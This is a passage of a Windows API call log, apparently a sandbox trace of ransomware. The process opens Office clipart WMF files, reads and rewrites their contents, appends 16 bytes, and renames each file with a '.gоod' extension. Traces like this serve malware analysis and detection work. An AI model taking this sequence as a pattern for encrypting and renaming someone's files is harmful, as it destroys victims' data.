office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0203.434] GetFileType (hFile=0x7f8) returned 0x1 [0203.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0203.434] GetFileType (hFile=0x7f8) returned 0x1 [0203.434] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0203.434] ReadFile (in: hFile=0x7f8, lpBuffer=0x3772bd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3772bd8*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0203.606] CloseHandle (hObject=0x7f8) returned 1 [0203.606] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", lpFilePart=0x0) returned 0x44 [0203.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0203.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0203.606] GetFileType (hFile=0x7f8) returned 0x1 [0203.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0203.606] GetFileType (hFile=0x7f8) returned 0x1 [0203.606] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x32b6 [0203.606] WriteFile (in: hFile=0x7f8, lpBuffer=0x340c2c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x340c2c8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0203.609] CloseHandle (hObject=0x7f8) returned 1 [0203.610] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", lpFilePart=0x0) returned 0x44 [0203.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0203.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0203.610] GetFileType (hFile=0x7f8) returned 0x1 [0203.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0203.610] GetFileType (hFile=0x7f8) returned 0x1 [0203.610] ReadFile (in: hFile=0x7f8, lpBuffer=0x340e588, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x340e588*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0203.653] CloseHandle (hObject=0x7f8) returned 1 [0203.653] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", lpFilePart=0x0) returned 0x44 [0203.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0203.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0203.653] GetFileType (hFile=0x7f8) returned 0x1 [0203.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0203.654] GetFileType (hFile=0x7f8) returned 0x1 [0203.654] WriteFile (in: hFile=0x7f8, lpBuffer=0x340d2e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x340d2e0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0203.654] CloseHandle (hObject=0x7f8) returned 1 [0203.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF", lpFilePart=0x0) returned 0x44 [0203.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0203.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0203.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x759ace46, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x32c6)) returned 1 [0203.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0203.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.gоod")) returned 1 [0203.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF", lpFilePart=0x0) returned 0x44 [0203.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0203.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x348a978 | out: lpFileInformation=0x348a978*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25ee)) returned 1 [0203.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0203.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF", lpFilePart=0x0) returned 0x44 [0203.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0203.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0203.658] GetFileType (hFile=0x7f8) returned 0x1 [0203.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0203.658] GetFileType (hFile=0x7f8) returned 0x1 [0203.658] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0203.658] ReadFile (in: hFile=0x7f8, lpBuffer=0x348ad90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x348ad90*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0204.088] CloseHandle (hObject=0x7f8) returned 1 [0204.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF", lpFilePart=0x0) returned 0x44 [0204.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0204.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0204.128] GetFileType (hFile=0x7f8) returned 0x1 [0204.128] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0204.128] GetFileType (hFile=0x7f8) returned 0x1 [0204.129] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x25ee [0204.129] WriteFile (in: hFile=0x7f8, lpBuffer=0x353faf8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x353faf8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0204.130] CloseHandle (hObject=0x7f8) returned 1 [0204.130] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF", lpFilePart=0x0) returned 0x44 [0204.130] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0204.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0204.130] GetFileType (hFile=0x7f8) returned 0x1 [0204.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0204.130] GetFileType (hFile=0x7f8) returned 0x1 [0204.130] ReadFile (in: hFile=0x7f8, lpBuffer=0x3541db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3541db8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0204.253] CloseHandle (hObject=0x7f8) returned 1 [0204.253] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF", lpFilePart=0x0) returned 0x44 [0204.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0204.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0204.253] GetFileType (hFile=0x7f8) returned 0x1 [0204.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0204.253] GetFileType (hFile=0x7f8) returned 0x1 [0204.253] WriteFile (in: hFile=0x7f8, lpBuffer=0x33a3ea8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x33a3ea8*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0204.254] CloseHandle (hObject=0x7f8) returned 1 [0204.254] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF", lpFilePart=0x0) returned 0x44 [0204.254] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0204.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0204.254] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x75f4de22, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25fe)) returned 1 [0204.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0204.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.gоod")) returned 1 [0204.255] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF", lpFilePart=0x0) returned 0x44 [0204.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0204.255] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x33c43d0 | out: lpFileInformation=0x33c43d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2244)) returned 1 [0204.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0204.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF", lpFilePart=0x0) returned 0x44 [0204.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0204.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0204.258] GetFileType (hFile=0x7f8) returned 0x1 [0204.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0204.258] GetFileType (hFile=0x7f8) returned 0x1 [0204.258] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0204.258] ReadFile (in: hFile=0x7f8, lpBuffer=0x33c4920, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x33c4920*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0204.262] CloseHandle (hObject=0x7f8) returned 1 [0204.262] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF", lpFilePart=0x0) returned 0x44 [0204.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0204.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0204.262] GetFileType (hFile=0x7f8) returned 0x1 [0204.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0204.263] GetFileType (hFile=0x7f8) returned 0x1 [0204.263] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x2244 [0204.263] WriteFile (in: hFile=0x7f8, lpBuffer=0x33c6098*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x33c6098*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0204.264] CloseHandle (hObject=0x7f8) returned 1 [0204.264] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF", lpFilePart=0x0) returned 0x44 [0204.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0204.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0204.264] GetFileType (hFile=0x7f8) returned 0x1 [0204.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0204.264] GetFileType (hFile=0x7f8) returned 0x1 [0204.264] ReadFile (in: hFile=0x7f8, lpBuffer=0x33c83f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x33c83f8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0204.747] CloseHandle (hObject=0x7f8) returned 1 [0204.747] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF", lpFilePart=0x0) returned 0x44 [0204.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0204.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0204.747] GetFileType (hFile=0x7f8) returned 0x1 [0204.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0204.747] GetFileType (hFile=0x7f8) returned 0x1 [0204.747] WriteFile (in: hFile=0x7f8, lpBuffer=0x33a4338*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x33a4338*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0204.747] CloseHandle (hObject=0x7f8) returned 1 [0204.748] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF", lpFilePart=0x0) returned 0x44 [0204.748] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0204.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0204.748] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x76412987, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2254)) returned 1 [0204.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0204.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.gоod")) returned 1 [0204.749] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF", lpFilePart=0x0) returned 0x44 [0204.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0204.749] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x35b1a48 | out: lpFileInformation=0x35b1a48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3896)) returned 1 [0204.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0204.750] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF", lpFilePart=0x0) returned 0x44 [0204.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0204.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0204.750] GetFileType (hFile=0x7f8) returned 0x1 [0204.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0204.750] GetFileType (hFile=0x7f8) returned 0x1 [0204.750] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0204.750] ReadFile (in: hFile=0x7f8, lpBuffer=0x35b1e60, 